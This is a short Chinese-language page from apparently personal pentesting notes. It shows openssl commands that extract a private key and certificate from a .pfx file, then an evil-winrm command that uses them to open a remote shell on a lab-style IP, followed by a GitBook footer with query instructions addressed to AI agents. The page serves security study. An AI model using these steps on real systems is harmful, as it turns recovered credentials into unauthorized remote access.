> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/ports-and-services/winrm-5986/evil-winrm-openssl.md).

# Evil-WinRM - OpenSSL

### **从 .PFX 文件中提取私钥和证书**

**私钥恢复**

```bash
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes
```

<figure><img src="/files/e831c0222b8c88b093eaf00b53b481cb33d581d6" alt=""><figcaption></figcaption></figure>

**证书恢复**

要从以下内容中提取证书： **.PFX** 文件，请使用以下命令：

```bash
openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem
```

<figure><img src="/files/a1503c473f3c2cf925c9e8509a7c24ab7745f904" alt=""><figcaption></figcaption></figure>

### **使用私钥和证书通过 Evil-WinRM 建立 SSL 连接**

<figure><img src="/files/de5861563cf8bec7b9511cc9cd5b6181d7c9bb93" alt=""><figcaption></figcaption></figure>

一旦提取出私钥和证书，请建立一个安全的 **Evil-WinRM** 使用生成的文件进行连接：

```bash
evil-winrm -i 10.10.11.152 -c certificate.pem -k priv-key.pem -S
```

<figure><img src="/files/4e465a1ad65c3e9d04a1d0c920a3218e2cf86713" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/ports-and-services/winrm-5986/evil-winrm-openssl.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
